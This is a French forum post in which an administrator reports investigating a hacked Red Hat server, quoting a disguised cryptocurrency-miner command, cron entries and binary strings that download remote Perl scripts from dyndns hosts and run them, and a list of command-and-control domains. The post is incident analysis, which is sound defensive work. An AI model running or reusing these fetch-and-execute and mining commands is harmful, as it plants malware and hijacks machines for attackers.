• [^] # Re: Premières investigations

    Posté par . En réponse au message Piratage de ma machine ???. Évalué à 1.

    Bonjour tlm,

    Mes collègues ont découvert que leur serveur se faisait exploiter à 100%
    depuis vendredi soir, le 24.

    Le serveur est une redhat 6, noyau 2.6.32-279.14.1.el6.x86_64
    sur laquelle je n'ai trouvé ni les auths ni syslog

    /sbin/rsyslogd -i /var/run/syslogd.pid -c 5
    est pourtant bien en train de tourner mais je connais pas bien la RHEL6

    Résultat des examens : top :

    ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx

    et une pelleté de wget et de curl lancé par l'utilisateur jboss
    qui ont déposé des fichier 368.1 à 368.77.2 minute après minute contenant la même page
    html :

    <title>1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team</title>

    Dans le crontab :

    ̀for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done

    jboss
     1 1 10 * * ~/.sysdbs
     1 1 24 * * perl ~/.sysync.pl
     * * * * * /tmp/bewbs/update >/dev/null 2>&1
     1 1 24 * * perl ~/.sysync.pl
     1 1 10 * * ~/.sysdbs
     */6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt ;perl abc.txt;rm -f abc*
     */6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt ;perl abc.txt;rm -f abc*
     */6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*
    

    Le ~/.sysdbs est un binaire,

    strings ~/.sysdbs

    wget http://eventuallydown.dyndns.biz/a.tar.gz
    tar xzvf a.tar.gz
    perl b.pl
    rm -f a.tar.gz
    wget http://gettingz.strangled.net/a.tar.gz
    wget http://redtapeworks.dyndns.info/a.tar.gz
    

    sysync.pl , je vous en fait grâce, c'est du perl bien obfusqué qui tape dans

    iscvadimswallows.dyndns.biz,webstatzz.twilightparadox.com,westatzo.dyndns-remote.com,suyeifd.dyndns.info,killbilll.twilightparadox.com,ifivecents.dyndns-web.com ...etc...

    Quelques lignes suspectes dans la maillog :

    May 27 12:12:01 tatooine postfix/sendmail[15673]: warning: the Postfix sendmail command has set-uid root file permissions
    May 27 12:12:01 tatooine postfix/sendmail[15673]: warning: or the command is run from a set-uid root process
    May 27 12:12:01 tatooine postfix/sendmail[15673]: warning: the Postfix sendmail command must be installed without set-uid root file permissions

    dans /var/log/secure : a gogo de

    May 27 15:09:10 tatooine agetty[18709]: /dev/ttyS0: tcgetattr: Input/output error
    May 27 15:09:20 tatooine agetty[18729]: /dev/ttyS1: tcgetattr: Input/output error

    ce qui en brouille considérablement la lecture

    May 27 15:09:24 tatooine sshd[18731]: Address 93.62.137.164 maps to smtp.arcaplanet.net, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT!

    et, surprise, en l'absence de fail2ban, des connexions ssh tentent leur chances depuis un an,
    (161624 tentatives depuis 5595 ip différentes).

    /etc/passwd

    apache:x:48:48:Apache:/var/www:/bin/bash
    jboss:x:501:502::/data/jboss:/bin/bash
    

    est-ce que ça pose problème si ce n'est pas à /bin/false ? pourquoi ?

    Donc voilà un serveur bien troué...